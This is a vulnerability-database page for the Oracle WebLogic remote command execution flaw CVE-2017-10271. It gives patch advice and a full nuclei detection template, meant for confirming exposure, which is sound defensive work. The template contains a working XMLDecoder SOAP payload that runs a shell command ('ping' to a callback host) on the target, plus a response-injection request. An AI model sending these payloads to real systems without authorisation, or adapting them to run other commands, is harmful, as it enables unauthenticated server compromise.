HexBrain

Browse / CVEs / CVE-2017-10271

CVE-2017-10271· oracle / weblogic server

Oracle WebLogic Server - Remote Command Execution

Exploited in the wild. Listed by CISA on 2022-02-10; known to be used by ransomware.

highseverity
7.5CVSS score
100%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

The Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent - WLS Security) is susceptible to remote command execution. Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. This easily exploitable vulnerability allows unauthenticated attackers with network access via T3 to compromise Oracle WebLogic Server.

Impact

Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands with the privileges of the WebLogic server.

Fix

Apply the latest security patches provided by Oracle to fix this vulnerability. Additionally, restrict network access to the WebLogic server and implement strong authentication mechanisms.

How to confirm it

Send: POST /wls-wsat/CoordinatorPortType
Positive when: regex("<faultstring>java.lang.ProcessBuilder || <faultstring>0", body) and contains(interactsh_protocol, "dns") and status_code == 500 OR body == "{{randstr}}" and status_code == 200

Run it with nuclei: nuclei -id CVE-2017-10271 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2017-10271

info:
  name: Oracle WebLogic Server - Remote Command Execution
  author: dr_set,ImNightmaree,true13
  severity: high
  description: |
    The Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent - WLS Security) is susceptible to remote command execution. Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. This easily exploitable vulnerability allows unauthenticated attackers with network access via T3 to compromise Oracle WebLogic Server.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands with the privileges of the WebLogic server.
  remediation: |
    Apply the latest security patches provided by Oracle to fix this vulnerability. Additionally, restrict network access to the WebLogic server and implement strong authentication mechanisms.
  reference:
    - https://github.com/vulhub/vulhub/tree/fda47b97c7d2809660a4471539cd0e6dbf8fac8c/weblogic/CVE-2017-10271
    - https://github.com/SuperHacker-liuan/cve-2017-10271-poc
    - http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html
    - https://nvd.nist.gov/vuln/detail/CVE-2017-10271
    - http://www.securitytracker.com/id/1039608
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2017-10271
    epss-score: 0.99994
    epss-percentile: 0.99988
    cpe: cpe:2.3:a:oracle:weblogic_server:10.3.6.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: oracle
    product: weblogic_server
    shodan-query:
      - http.title:"oracle peoplesoft sign-in"
      - product:"oracle weblogic"
    fofa-query: title="oracle peoplesoft sign-in"
    google-query: intitle:"oracle peoplesoft sign-in"
  tags: cve,cve2017,weblogic,oast,kev,vulhub,rce,oracle,vkev,vuln

http:
  - raw:
      - |
        POST /wls-wsat/CoordinatorPortType HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Accept-Language: en
        Content-Type: text/xml

        <?xml version="1.0" encoding="utf-8"?>
        <soapenv:Envelope
            xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
            <soapenv:Header>
                <work:WorkContext
                    xmlns:work="http://bea.com/2004/06/soap/workarea/">
                    <java version="1.4.0" class="java.beans.XMLDecoder">
                        <void class="java.lang.ProcessBuilder">
                            <array class="java.lang.String" length="3">
                                <void index="0">
                                    <string>/bin/bash</string>
                                </void>
                                <void index="1">
                                    <string>-c</string>
                                </void>
                                <void index="2">
                                    <string>ping -c 1 {{interactsh-url}}</string>
                                </void>
                            </array>
                            <void method="start"/></void>
                    </java>
                </work:WorkContext>
            </soapenv:Header>
            <soapenv:Body/>
        </soapenv:Envelope>
      - |
        POST /wls-wsat/CoordinatorPortType HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Accept-Language: en
        Content-Type: text/xml

        <?xml version="1.0" encoding="utf-8"?>
          <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
              <soapenv:Header>
                  <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
                      <java>
                          <void class="java.lang.Thread" method="currentThread">
                              <void method="getCurrentWork">
                                  <void method="getResponse">
                                      <void method="getServletOutputStream">
                                          <void method="flush"/>
                                      </void>
                                      <void method="getWriter"><void method="write"><string>{{randstr}}</string></void></void>
                                  </void>
                              </void>
                          </void>
                      </java>
                  </work:WorkContext>
              </soapenv:Header>
              <soapenv:Body/>
        </soapenv:Envelope>

    stop-at-first-match: true

    matchers-condition: or
    matchers:
      - type: dsl
        dsl:
          - regex("<faultstring>java.lang.ProcessBuilder || <faultstring>0", body)
          - contains(interactsh_protocol, "dns")
          - status_code == 500
        condition: and

      - type: dsl
        dsl:
          - body == "{{randstr}}"
          - status_code == 200
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from